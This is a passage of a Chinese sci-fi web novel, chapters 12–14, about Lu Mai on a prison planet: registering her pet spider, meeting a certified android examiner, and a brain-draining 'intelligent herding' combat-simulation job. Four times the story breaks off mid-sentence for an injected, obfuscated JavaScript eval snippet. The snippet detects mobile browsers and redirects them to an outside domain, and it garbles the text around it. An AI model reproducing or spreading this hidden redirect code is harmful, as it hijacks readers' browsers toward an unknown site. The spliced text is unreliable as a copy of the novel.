她之前怎么没有觉察到,阳光美男和镜子里的那张大美人的脸有几分相似呢? * 路麦是被吓醒的,醒来的时候身上居然还出了一层薄薄的冷汗,她爬下床,摸黑到浴室用热水浸过的毛巾擦拭了一下身体,期间又被镜子里那张白惨惨的脸给吓到几次。 路麦说不上到底是在镜子里看到别人的脸比较可怕,还是在别人身上看到自己的脸更加可怕。虽然阳光美男的那张脸和她的算不上一模一样。 她很清楚自己占用着别人的身体,但这不是她主动选择的,更何况,那个“别人”已经被仪器鉴定为死亡。 尽管不知道是怎么发生的,她的意识的确是趁虚而入,占有了这具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544257|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本该成灰的尸体。 可如果……原主的意识并没有如她所想的那样烟消云散,甚至还依然留在这具身体里,她该怎么办,将这具身体归还给它原本的主人吗? 那她自己的意识又该怎么办,失去宿主,从此消亡于宇宙吗? 她觉得自己就像一个流浪汉,以为自己找到了一处无主的住宅便沾沾自喜地将其据为己有,结果有一天主人找上门来……以她的道德观念,她肯定是会把房子归还原主人的,不如说她从一开始就不会自作主张地住进这个房子。 但现在的问题不是房子,她也不是自愿进入这具身体的。 离开的后果不是变得居无定所,而是……彻底消失,成为虚无。 “啊啊啊啊啊!”她捂着脑袋,发出一声表示纠结的怪叫。 终端亮了起来,赛博宠物关切地慰问:“亲爱的,你做噩梦了吗?不要怕,我会保护你的。” 叹气。 回到卧室,一头栽倒在床上。万籁俱寂的夜里,隔壁突然传来一阵动静。 不是OA7V那头,而是OA7X那头。 路麦似乎从来没见到过OA7X的邻居,她还以为那边没有住人呢。 不会是刚才那声怪叫吵到隔壁了吧?她不会因此而被杀人灭口吧?她好像真的看到过有因为睡眠受到影响一怒之下杀人泄愤的案例。正常社会里都潜伏着不少有杀人冲动的人,更不用说这个犯罪者的大本营了。 于是路麦噤若寒蝉,一动不动,生怕翻个身发出的吱呀声都会成为丧命的导火索。 翌日清晨,选完工作,洗漱完,喝完早餐,抓紧时间学习,到点出门。她决定不去想昨天晚上的噩梦。 出门的时候,路麦显得比之前几天都要谨慎,结果正好和从OA7X走出来的人打了个照面。 她愣了一下,因为那人她认识,就是在博览会上救她一命的正义之士。 “你……”路麦疑惑地挤出声音。 正义之士冲她微笑,表情迷人:“我是昨天晚上搬过来的,吵到你了吗?” 原来如此,原来如此。路麦松了一口气,想起胖子说过并不认识正义之士,说明她之前应该住在别的地方。 看来住所调动是确实存在的。OA7W的前一位住民肯定也是被调到了别的地方去。 紧接着,路麦又想到昨晚收到的消息。 赛博宠物说会保护她,然后正义之士就搬来她的隔壁。之前在博览会上也是,除了她自己和那个色情狂,只有正义之士目睹了她的遭遇。 难道说兜兜转转,赛博宠物的真身结果还是正义之士?又或者,正义之士是赛博宠物的一名手下? 虽然不知道赛博宠物到底是什么样的存在,但目前为止一直对她表现出保护的态度。哪怕不知道它到底是正是邪,哪怕知道靠别人不如靠自己,可既然有人愿意罩她,她干嘛死要面子活受罪呢? 这样想着,看正义之士的眼神就热切了起来。 那一头,卫琅看路麦在几秒钟之内脸上变了八百个表情,也是不知道她到底在想什么——应该不是猜到了她的身份吧? 过了一会儿,她才见路麦摇了摇头,回说:“不吵的。” 12. 鉴定师 * 又是劳作的一天。 下班的时候,胖子说要去参加维修师的理论考试,出发之前提醒路麦看一下宠物模块有没有开放。 打开终端查看,才发现早上收到了新模块解锁的信息,于是打算带着路西法去最近的管理局进行登记。 负责该业务的是两位身材如同黑色细狗般的两名男性工作人员。 他们穿着黑色西装,即便是在室内,也始终戴着黑色墨镜。 路麦扫了一眼他们挂在胸前的名牌。不苟言笑的那位名叫陆拾,偶尔会说俏皮话的那位叫伍拾。 陆拾在系统中进行了饲主信息的登记,而伍拾则在这一期间替路麦下载好了饲养程序。 “请出示你的宠物。”陆拾说。 伍拾看了一眼屏幕,讶异道:“你才来五天,就攒到购买宠物的积分了?你把自己的腿给卖了?还是手?” 路麦看了一眼主屏幕上新增的程序图标,点击了一下,头也不抬地(其实是因为心虚)回答:“是我亲自捕获的原始兽。” 办公室的空气似乎僵硬了起来。 路麦小心地问道:“怎么了?这应该没有违反规定——吧?” “是这样没错。”陆拾在点击了电脑上的确定按钮后应道。 伍拾歪了一下脑袋:“女士,你不会现在就要从头发里掏出一只跳蚤来吧?” 路麦干笑了一下,在两位管理员诧异的目光中将手举到眼前,掌心赫然是一只八条腿的虫子。 伍拾那双藏在墨镜后面的眼睛被眯成了两条缝。“你想获得饲主身份所带来的好处,但是又不想花钱购买宠物,真是狡猾又抠门的家伙。可你怎么能说服一只蜘蛛当你的宠物?” “这不是钱的问题。”路麦语重心长,“它很聪明,能听懂人话。我们感情很深。” “噢——”伍拾发出夸张的声音,“能听懂人话的蜘蛛。” 陆拾插话道:“关于原始兽的饲养,有一个需要特别注意的事项,不同种类的原始兽有其各自的‘规定寿命’,如果‘最终饲养时长’小于‘规定寿命’,饲主将会受到惩罚。你最好考虑清楚再做决定。” 路麦从胖子那里听到过相关内容,对陆拾的说明并不意外,只是问道:“蜘蛛的规定寿命是多久?具体会有怎样的惩罚?” “两年。”管理员在电脑上查询后迅速答道。 “按比例回退减刑系数。延长刑期,五万年起步。罚扣积分,五千分起步。”伍拾说。 路麦迟疑了一会儿。 陆拾说:“如果你放弃成为蜘蛛的饲主,它将被留在这里进行无害化处理。”路麦问:“无害化处理?” 伍拾用手在脖子边上划拉了一下。 路麦打开手掌,一道黑影像闪电般从她指缝里蹿了出来。她觉得鼻尖一痒。 两位管理员用看小丑似的眼神看着她。 她尴尬地闭上眼睛,将蜘蛛从鼻尖上摘了下来,重新放到手掌上。再次睁开眼睛的时候,蜘蛛正挥舞着前肢,仿佛在摇旗呐喊。 伍拾笑了起来:“它看起来真的很想成为你的宠物。” 陆拾面无表情:“它好像真的听得懂人话……” 路麦担心陆拾的下一句话就是要把这只听得懂人话的蜘蛛送去研究所,于是连忙说道:“你们会帮我进行登记的,对吧?” 陆拾问:“你确定了吗?”路麦说:“就这么定了吧。”陆拾说:“好吧,先进行宣誓,然后是登记。” 路麦捧着蜘蛛站在陆拾面前。陆拾郑重地问道:“服刑者OA7W,你自愿成为这只蜘蛛的饲主,并愿意悉心照顾它,直到你们中的一个寿终正寝吗?” 路麦觉得有些怪异:“呃,这个宣誓……” 陆拾问:“你愿意吗?”路麦答:“好吧,我愿意。” 于是陆拾继续提问:“无名的蜘蛛,你自愿成为服刑者OA7W的被饲者,奉献你的自由,以换取她的供养吗?” “……” 蜘蛛静止在路麦的掌心,没有发表意见。 陆拾说:“看来它同意了。” 路麦谨慎地问道:“它同意了?” 伍拾说:“它没有动,就是默认,懂吗?难道你指望它开口说话?” “它叫什么。”陆拾转回到电脑前,敲着键盘问道。 “路西法。” 从陆拾和伍拾完全没有的反应来看,这个世界并不存在天使长堕天的故事。 “品种。” “蜘蛛。我想应该是某种跳蛛……我不知道更详细的了。” “那就跳蛛。”陆拾快速检索了一下,“这类蜘蛛依靠爆发力狩猎。它们会给猎物注射神经毒素,让它们迅速失去反抗能力。” 路麦惊讶:“它是一种毒蜘蛛?” 陆拾说:“它的毒性还不至于对人类生效。不过要是它真的伤了人,管理局会依照规定对它进行无害化处理。” 伍拾在一旁又用手划拉了一下脖子。 路麦再次想起那个少了一条胳膊的半机械人。她之前以为路西法是通过让机械脑发生短路之类的方式剥夺了他的行动能力,但现在又有了另一种可能——它对他仅剩的那颗人类半脑做了什么。 不。它的毒性很弱。只能对付小型节肢动物。 虽然说明手册上林林总总地列了一长串内容,但成为饲主的实际流程并没有那么严格。 路麦刷新了一下自己的饲养程序,就在上面看到了路西法的宠物身份卡,以及她更新后的减刑系数,1.2,这意味着她以后的减刑效率将比原来提高1/5,真是可喜可贺。 出了管理局,隔壁就是该片区的考试中心,路麦路过那里,看到大门口围了不少人。胖子那肥满的身形在其中十分显眼。 路麦走上前去,拍了拍他的肩膀:“考完了?” 胖子回过头来:“小菜一碟。” 路麦问:“这是在干嘛?” 胖子说:“围观鉴定师。” 路麦这才发现人群中心站着一个人,像被记者们围堵的明星一样,散发着与周围一切事物截然不同的气场。“鉴定师?鉴定什么的?” 她的这一提问引起了附近一名围观群众的注意,那人转过身来,冲着她大惊小怪地叫道:“你居然不知道鉴定师?” 这一叫使得更多人将注意力转移到了这里。 胖子张开手,做了一个安抚的手势,替路麦辩解道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544258|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这家伙打出生起就被软禁了,对外界事物知道的不多。” 拜托,成长环境封闭不等于是被软禁着养大的!不过胖子这种夸张化的表述显然更能表现她缺乏常识的根源。 人群的声音变得嘈杂起来。 胖子利用体型优势将路麦挡在身后,顺带回答了她之前的问题:“仿生人鉴定师,鉴定的当然是仿生人。之前说过,它们将人类视为敌人。除了战争之外,它们还有一种消灭人类的手段,就是潜伏在人类身边寻找合适的机会,然后无声无息地取代人类。所以,鉴定师的存在非常重要。” 路麦听着这话,看着几近沸腾的人群,不由打了个寒战。 逐渐机械化的活人、想要取代人类的仿生人、仿生肢体、活肢捐献。高深的科技树没有窥探到更真实的世界奥秘,反而让它看起来更加矛盾、荒谬、以及诡异。 “等一等,她不会就是一台仿生人吧。”有人突然高声喊道。 “鉴定师小姐,你快鉴定一下这家伙。抓到一个仿生人能直接减刑二万年,这下可大发了。” 胖子仍在据理力争:“她出生到现在没怎么接触过社会,有些事情不知道也是正常的。” “没接触过社会?那这家伙是犯了什么事被送进来的?” “你和这家伙认识?这家伙到底是从哪儿来的,怎么会连鉴定师都不知道?” 质疑声仍然层出不穷。 “依我看,她是仿生人的可能性很低。不,我肯定她是一名人类。”这时候,鹤立在人群中间的鉴定师出声了。 她的话似乎相当有公信力,刚才还满脸狐疑的人们各自哦了几声,就不再对路麦穷追不舍。这情形也佐证了仿生人鉴定师的社会地位非同一般。 路麦向那位鉴定师小姐投去感激的目光,而对方也刚好正望向她。她愣了愣,发现这位准鉴定师小姐长得很眼熟。 她飞快地回忆着,记忆中的画面定格在她登陆这颗星球,独自走过检疫通道的时候。 “你是那个检疫师!”她叫道。 鉴定师小姐似乎早就认出她了,点了点头,同时回报了一个友善的笑容。 路麦没有进一步地表示惊讶。她知道“检疫师”也是减刑劳动的一种,工作轻松,酬劳丰厚,但需要持有很多执照才能报名。这位鉴定师小姐绝对是一位考证专家。 有了鉴定师小姐的“人类”背书,路麦的立场一下子就安全了起来,大家也不再关心她,继续殷勤地对鉴定师小姐表达膜拜之情,其中也不乏讨教经验的。胖子没有说话,但也在关注着正在进行中的种种话题。 从他们的交谈中,路麦了解到仿生人鉴定师执照在服刑者能够考取的证书中难度排名第一,在这个居住着上亿人的星球上,每年只有两三个人能通过考试,成功取得资格。哪怕是在外面的社会,每年的合格者也是屈指可数。 据鉴定师小姐口述,最终的鉴定师考试倒没那么难,成为鉴定师的真正难点在于达成全部的前置条件,包括一大堆专业性极强的高难资格证,还要通过身体素质检查和精神鉴定。 与严格的获取条件相对应的,则是该资格的社会认可度。仿生人鉴定资格可以说是服刑者出狱后的免死金牌之一。 13. 愿景 据说很多服刑者在离开流放星后无法很好地融入主流社会,不得不再次走上犯罪道路,被送回流放星。二进宫的服刑者将背负更长的刑期,几乎等同于在这颗监狱星球服劳役到死。 因此,对出狱后的生活还有点追求的服刑者多少都会参加各种资格证考试,希望重获自由后能在社会上争取一席之地。而对一名拥有鉴定师执照的服刑者来说,只要出狱后不再行违法犯罪之事,基本可保证余生无虞。 这让路麦更加打定主意要在空闲时间努力学习。 “我算过了,有了维修师的资格之后,再乘上系数,我平均每天可以减刑一千到两千年。如果能在嘉年华上拿个小奖,减个七八万年什么的,就能赶在四年后的八月之前出狱了。”回宿舍的路上,胖子不无兴奋地说道。 路麦问:“四年后的八月会发生什么吗?” 胖子说:“阿加莎出道十年的纪念演唱会。”路麦问:“阿加莎是谁?”胖子说:“我一直在推的星际偶像。当初不过是偶然被朋友拉着去参加了出道演唱会,结果就一发不可自拔了。” 路麦瞅他:“看不出来,你还是个偶像宅。”胖子耸了耸肩。 路麦又说:“还有四年多呢,哪有演唱会会这么早排期?” 胖子说:“那是我们在三周年的演唱会上约好的。” 路麦说:“她还挺有野心的。能红十年的偶像不多吧?” 胖子说:“反正我们约好了的。” 路麦说:“那你之前怎么不想着多考点证,努力减刑,争取早点出狱什么的?” 胖子说:“那可是一百万年的刑期……我以为自己会在这里呆到死的,就没想给自己太多压力。说到这点,我还得感谢你。要不是受了你的影响,我恐怕没那么容易提起干劲。” 路麦努嘴:“真没干劲的话,你就不会养琪琪了。” 胖子顿了一会儿,说:“是这么说没错……但讲真话,我是担心自己在这里呆久了会出现精神问题。” 路麦用手指蹭了蹭脖子上那个发痒的地方,精确地找到了路西法的位置,将它渡到手上。“说到宠物,现在我也有一只了,刚刚登记好的。” 胖子睁大了眼睛。 路麦问:“你怕蜘蛛吗?”胖子露出不可置信的表情:“等等……” “没错,我养了一只蜘蛛。一只原始兽的蜘蛛。Forfree。这样我就能赶上嘉年华了。” 回到宿舍,路麦又在笔记本上新开一页,照着从终端上找到的资料,记录下仿生人鉴定师执照的所有前置资格。 其中就包含机械维修师执照,另外还有“心理测量师”、“精神分析师”、“机甲驾驶资格A1”、“医师执照”等等,其中有不少项目另有前置条件,而这些前置条件还有其自身的前前置条件,简直像套娃一样无穷无尽。“虫族学者执照”也被包含在这些条件之中。最后要在体质测试中获得优等评级,在精神测试中获得健康评级。 她现在能理解为何人们会对那位鉴定师小姐表现出如此高度的尊敬了。 能在服刑之余考出这些高难资格,还能将身心健康维持在正常水平的,放在哪里都是精英中的精英,人才中的人才,犯罪经历只会让其履历显得更加精彩。 路麦顺便查看了其他高级资格需要的前置条件,偶然发现了一个神奇的现象,那就是获得宠物饲养许可居然是申请服兵役的前置条件。 这就像参加仿生人鉴定资格考试前需要获得机甲驾驶证书一样让人摸不着头脑。 路麦决定将鉴定师执照当做自己服刑期间的终极目标,于是不再浪费时间,立刻又埋头到虫族学者的备考资料中去了。 熄灯之前,花了一点时间在积分商城的宠物用品中选购了一瓶面包虫,一只饲育箱。 入睡,又是那个梦境。 阳光美男又恢复了阳光灿烂的样子,像只大狗一样摇头摆尾地向路麦示好。 路麦没有理他,走到沙滩边缘,与海水相接的地方,探头,想要看看自己在水中的倒影。 海水是一片马赛克,水中的倒影也是一片马赛克。 阳光美男从身后拉了拉她的手。她转过身,视线与他平齐。 不偏不倚,眼睛正对着眼睛,可以看到对方的虹膜上映着模糊的人影。 她和阳光美男一样高。 有的人变胖变瘦完全是两个样,有的人从黑皮养到白皮仿佛换脸一般,有的人笑与不笑判若两人……但在骨骼闭合之后,正常情况下,身高和比例就再不会有太大的变化了。 容貌可以改变,但身高很难。 你是谁?你是我吗? 路麦想问,但嘴唇开合,依然发不出声音。 阳光美男无辜而默然地看着她的唇语,瞳孔微微震颤,眉头微微蹙起。两人静静地对视了不知道多久,然后他将她的身体摆正,抓着她的双臂,吻上了她的双唇。 路麦瞬间石化。 未被唾液沾湿的嘴唇温和地摩挲着彼此,吻得稚嫩而干燥,比起情欲的表现,更像是孩童的玩笑。 她觉得应该把阳光美男推开,警告他不许持靓行凶,但身体似乎沉溺于这种与同类亲密接触的感觉,根本不听大脑的指挥,任由她的两片嘴唇被舔了又舔。 她像一根棒棒糖,终将在这无休止的舔舐中融化,然后消失。 大概是因为身体已经习惯了这种作息。又是比闹铃醒得还早的一天。 路麦觉得嘴唇有些发痒,以为是梦境后遗症,老脸一热。 但很快就发现是八足的小怪物正盘踞在她的下唇。 梦境常常会受到现实的影响。而滞留在她唇上的触感一定就是她做那种梦的缘由。 “真是没大没小,无法无天。”,她伸手驱赶它。 蜘蛛轻快地跳上她的手背,用黑色的、圆润的主眼注视着她——小狗也有这样的眼睛,只是大得多。 “以为装无辜可怜我就会饶了你吗?” 早餐送达的时候,路麦听到有什么东西被丢到了自己的房顶上,她立刻就猜到是昨晚网购的用品。 见识过路西法的品行不端,她认为早日购入饲育箱果然是明智之举。 登陆流放星的第六天,她终于凭借早年打游戏练就的手速抢到了一份流水线之外的工作。 确认框出现的时候,她忍不住诵起了诗句:“老夫聊发少年狂~左牵黄~右擎苍~” 今天的工作是:智能放牧。报酬为350年/日,积分依据工作成果进行结算。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544259|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然还不知道这工作到底是干什么的,但毕竟是无证书要求的工作中报酬相当高的一类,而且从其抢手程度来看,也不像是高风险高危害的工作,所以路麦没有太过担心。 六点,门禁解除。出门就见胖子也正从他那间宿舍挤出来,但另一边的OA7X却迟迟没有动静。 路麦没管那么多,一边打开导航,一边和胖子边走边聊起来。 路麦问起智能放牧的事,胖子表示他没参加过,也不清楚具体情况,顺带对路麦的手速表示了一下惊讶。“能抢到这档工作,说明你的反应速度已经超过了这儿97%的人。” “下次我要朝着超越99.9%的方向努力。”路麦说。过去她在点那些验证码的时候也是朝这个方向努力的。 “今天是我持证上岗的第一天,希望能有大活。”胖子说。 这么说,他肯定是抢到了机械维修的工作。维修工的报酬通常在270年/日上下浮动,但如果有幸遇上大活,则有可能达到800年/日。所谓的大活,就是型号特别先进、还没被列入量产计划的那些机甲。 还没量产,就意味着图纸和数据尚未被收录至机甲版本大全中,也没有相应的详解手册,进行维修和保养时,很大程度上要看工人的临场应对和专业素养。不是每个拥有维修师执照的人都有能力修理这类机甲。 “没有大钻头,就别揽大活。”路麦说。 胖子斜飞她一眼:“你这是看不起我。我好歹也是猎户大学毕业的。” 路麦不知道猎户大学是何方神圣,只觉得听起来像是学狩猎技术的地方,反而更加替邻居担忧起来。 胖子继续说:“我已经考虑过了,等出狱之后,就找个维修厂上班,像我这种有学历有技术有经验的工人,哪怕蹲过号子,在社会上也是吃香的。” 路麦问:“你有经验啊?” 胖子说:“这不马上就会有了吗?” 路麦觉得有道理:“那倒是挺好的。” 胖子说:“维修厂累是累点,但肯定比这里要轻松,而且隔三差五还能去看阿加莎的演唱会。就是出去之后就没人管吃管住了,说不定会有点不习惯呢。” 路麦问:“到时候琪琪怎么办,你会把它带走吗?” 胖子说:“当然是把它留在这里。到了外面就不需要宠物来提升减刑系数了,而且也不知道我有没有能力供得起它,还是不把它带走了。” 路麦回过头,远远地看了一眼站在OA7V屋顶上的那只电子小山羊,忽然觉得它的眼神似乎充满了悲伤。“养了这么久,应该也有感情了吧?要是你走了,琪琪一定会想你的。再说又不用花钱给电子宠物买饲料,就算把它带在身边也不会增加太多生活成本。” 胖子用奇怪的眼神看着路麦:“你怎么了?你在怕它伤心吗?那是一只没有感情的电子兽——虽然它可以表现得像有那种东西一样。” 路麦做了一个颈部运动:“电子宠物真的没有情感吗?你想,那些仿生人——” 胖子打断她:“它们没有。所以才会成为人类的敌人。” “你们在说什么?”有第三者突然横叉一嘴。 侧脸一瞧,居然是鉴定师小姐。 路麦和胖子立刻肃然起敬,行注目礼。 14. 智能放牧 “我们刚说到仿生人。”路麦说,“你也住在这个片区?” 鉴定师小姐摇头:“我今天的工作地点在这片。” 胖子问:“像你这样的大佬,做的肯定都是没人抢的高级工作吧?” 鉴定师小姐说:“高级工作也不是天天都有的,偶尔我也会去部件工厂拧螺丝。” 胖子对路麦说:“看到没,人家拧螺丝是调剂。” 路麦没理他,问鉴定师小姐:“今天是什么工作?” 鉴定师小姐说:“地热管道检修。” 胖子又对路麦说:“看到没,人一出手,就是这种高端工作。” 路麦表示认同。她了解过和地热设施相关的工作,除了要考一堆证书之外,还要符合减刑系数大于等于3.0的要求。 减刑系数3.0是什么概念——做同样的工作,人家一天能获得的减刑顶她干两天半的。 鉴定师小姐问:“你们呢?” 胖子说:“机械维修。” 路麦说:“智能放牧。” 鉴定师小姐点点头:“智能放牧啊,好像挺难抢的。” 路麦说:“门槛低,风险低,报酬高嘛。” 鉴定师小姐说:“真正门槛低风险低的工作,报酬是不可能高的。我要在这里转弯了。” 两人向鉴定师小姐郑重告别。 路麦望着鉴定师小姐的背影,问道:“她最后那句话是什么意思?” 胖子想了想说:“智能放牧的门槛是真低,相对来说报酬也是真高,这都是看得见的。那就是说,‘风险低’是个伪命题。” 路麦有些强行挽尊的意思:“但不是有很多人抢着干吗?” 胖子又想了想,说:“说明它的风险很隐蔽,至少短期内不会显现。等出现不良后果的时候,大家压根没把它和之前做的工作联系起来。” 路麦如即将英勇就义一般闭上了眼睛。因为她也相信鉴定师小姐不会危言耸听,而且像她那样有能耐的人,对隐性风险的认知一定比普通人要深刻。她不会无端给出那样的暗示。 “但是都已经报完名,不想去也只能硬着头皮去了。”路麦说。 “那我只能祝你好运……”胖子用仿佛哀悼的语气说。 两人在下一个路口分道扬镳,各自奔赴今日的岗位。 六点三刻,路麦抵达导航目的地,心惊胆战地穿过牧场的闸机。 所谓的牧场并非一片草原,而是像影院放映厅一般的数个房间。路麦被分配到7号厅。走进大厅一看,偌大的空间被穹顶状的巨幕包裹起来,穹顶正下方放着一台棺材般的机器——这就是7号厅里全部的东西了。 路麦在机械指令的催促下,不安地钻进那台机器,机器内部充塞着一种柔软的材料,大体上被挖成一个四肢健全的人的凹陷,当有人躺进去之后,会自动根据使用者的体型调整成更加贴合的形状,将使用者紧紧镶嵌起来。 对路麦来说,那种感觉就像全身都被正在缓慢收缩的血压仪绑带给缠起来一样。 两侧太阳穴被贴上了冰冷的圆片,按照机械指令的说法,那是能够影响大脑活动的电极——听到这里的时候,路麦心里那种不祥的预感更加强烈了。在这种人为刀俎我为鱼肉的情况下,天知道自己的大脑会被动什么手脚。 七点整,工作开始。 路麦眼前一黑,随后,视野中展开了一片极其逼真的太空图景,逼真到让她感到身临其境。相比之下,3D电影和VR游戏的临场感简直弱得像幼儿班没毕业。 最初的五分钟是机械指令主持的新手教程,瞳孔控制移动方向,右脚控制加速,左脚控制刹车,右手控制近战攻击,左手控制远程攻击,各种奇形怪状的敌人依次出现,砍砍砍、轰轰轰,把它们炸成渣渣。 接着就是正式流程。依旧是砍砍砍轰轰轰,只是出现的敌人数量越来越多、皮越来越厚、速度越来越快、攻击力越来越高,屏幕右上角的数字一直在慢慢变化,每变一次,战斗难度就提升一个档位……总的来说,和玩游戏没什么两样,不能说小菜一碟,但尽在掌握之中。 提心吊胆地打到午休时间,身体并未产生不适,只在钻出模拟机的时候出现了不到一秒的眩晕。 摄入营养液。休息一个钟头。到了下午的上工时间,继续砍砍砍轰轰轰。 难度还是从最低开始,然后慢慢递增,不过递增速度比上午快很多。有之前四个小时的经验积累,这种提速效率还不至于对路麦造成困扰。 然而很快,难度就提升到了上午场的极限,开始进入到陌生的领域。 一开始还能跟上,但随着难度进一步提升,对操作和注意力的要求似乎永无止境。右上角的数字已经超过了100,似乎还能继续增大。 累…… 但是不能停下。也不能放松。 否则会被敌人杀掉的。 101,102,103,104……121,122…… 就算一直在无双割草,割上八个钟头也是要人仰马翻的,更何况这可比割草难多了! 原本一个激光束就能灭掉的怪,现在要远近穿插杀上半天,期间还要躲避其他敌人的攻击……敌人是死了,脑细胞也死了。出去之后起码要吃上整整一板巧克力……不对,这地方根本没有巧克力,甚至没有白砂糖。 135,136,137…… 那边再不到极限,这边可就要撑不下去了。 似乎有一道电流在脑中乱窜,路麦睁大双眼,心跳震耳欲聋。 靠,被打成残血了! 可是,注意力无论如何都无法集中起来。 眼前的景象变成一片残影。 后侧发际线的中点,和枕骨顶点连成一条线段。 线段的中点,传来一阵尖锐的刺痛。 就像突然断电的电视机一样,所有画面啪的一声收束成线,最后隐匿于黑暗。 再看不见,再听不见。 * “……通关数155,系数加算0.2,杀敌数15327,系数加算0.15。本次参与智能放牧工作,共计减刑543年,获得积分5500。” 被电醒的时候,机械指令正毫无感情地播报着今日的战绩。 路麦迷糊了一会儿,花了七秒钟的世间思考今夕是何夕,然后捂着后脑勺从模拟机里坐了起来,有什么东西从她的掌心闪过,落在左侧的肩膀附近。 “请服刑者及时离开牧场。” 路麦疲惫地爬出机器,浑浑噩噩地向大厅的出口走去。 被分配到其他大厅的服刑者也陆陆续续走了出来,相互打探着今日的战况。 “我是第一次参加这种,还蛮好玩的。” “就是难抢。” “你拿了几分?” “二百五。” “那跟我差不多。” 有人从路麦身后赶上来:“你过到第几关了?” 路麦看了他一眼,是不认识的人,呆头呆脑地答道:“好像是155。” 出场通道一下子寂静无声。 那人愣了半晌,笑了出来:“155?你没记错吧?” 路麦难受得闭上眼睛,摇头晃脑地说道:“记错了吗?减刑543年,积分5500……”她打开终端,看了一眼身份卡上变化的数字,“没记错。” 那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544260|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情立刻变了,像看怪物似的看着路麦。 路麦虚弱地抬起眼皮,挤出礼貌性的笑容:“你呢?” 那人没说话,快步从路麦身旁走过,三两下就走远了。 又有人从后面跟了上来:“那家伙还以为自己很牛逼呢,结果碰上真大佬了。嘿,看你这肾亏的模样,我就知道是个真高玩!不过155关也太夸张了!我至今为止见过最厉害的也才到七十几。你入狱前是干什么的?是军人吗……” 路麦不太记得自己是怎么回到宿舍的了。 还没到晚饭时间,但肚子已经饿得像发疯一样乱叫。博览会那天胖子请客的那支营养液终于有了用武之地。她第一次觉得这恶心玩意儿味道还不错。 一管营养液下肚,状态总算稍微回复了些许,路麦想起屋顶上还有自己的快递,但已经倒在被窝里的她实在没力气去拿。 眼皮子上下一粘,瞬间睡成死猪,别说终端那点小电流了,哪怕来一道雷劈在身上都醒不过来。 醒来已经是第二天凌晨四点半,她这一觉睡了接近十二个小时。 门口跌落着昨天派发的晚饭,她立刻捡起来喝了个干净,接着又回到床上躺了一会儿。 蜘蛛从她的后颈顺着脖子和下颌一路爬到她脸上,最后停在鼻尖。 路麦懒得驱逐它,眯缝着斗鸡眼,看着鼻尖上那一团模糊的黑色。“大魔王有何贵干?” 蜘蛛不语,只是趴在她的鼻尖上。 “没大没小。”路麦闭上眼睛,继续打盹。 潜睡间又做梦了,还是那片马赛克沙滩。阳光美男原本站在潮水前线,看到路麦出现,立刻走过来拉住她的手。 路麦歪头看他,他伸手指了指海的对面。 路麦扭头,顺着他手指的方向看去。 海天相接处,出现了一座海市蜃楼。 数不清的士兵像兵马俑一样列队在被围栏圈起的土坑之中,那些士兵没有脸,没有性征,□□,像是流水线生产的白模道具。蓝色的电流光束不时从他们质地奇特的皮肤下面蹿过,像是游走在其体内的寄生虫。 接着,围栏被打开了。白模们离开土坑,潮水一样向外涌去,在太空战场上和一台全副武装的机甲展开搏斗。 在那台机甲面前,他们被一波波地击败,看起来弱不禁风。那些被击败的白模消散成一串数据流,像大马哈鱼洄游一样,回到他们出发的地方。 这些数据流仿佛游戏中的经验值,获得了经验值的白模们逐渐变强,再不会被一击击溃,反倒是那台武装机甲看起来孤力难撑。 路麦觉得那情景怪眼熟的,很快就恍然大悟,这演的不就是智能放牧的情形吗? 那些白模就是等待被放牧的羊群,数据流是羊群通过放牧获得的营养。虽然羊群的数量减少了,但强度却大大提高,而且新生产出来的羊群能够继承提升后的强度。 这样一看,她在其中扮演的角色不是牧羊人,而是被吃的牧草啊!智能放牧,实质就是拿她的脑细胞去喂那些白模嘛! 路麦用拳头敲了一下掌心。 这难道就是所谓的隐患? 那些只通到三四十关、六七十关的人,当然不会产生像她这样巨大的疲劳感,所以才会热衷于参加这项工作。说不定设计这份工作的人,就是想要温水煮青蛙,不知不觉地榨干这些人的脑子。 真是其心可诛啊! 太阳穴突然被一个温温热热的东西按住。 阳光美男不知什么时候走到她的身后,给她做起头部按摩来。 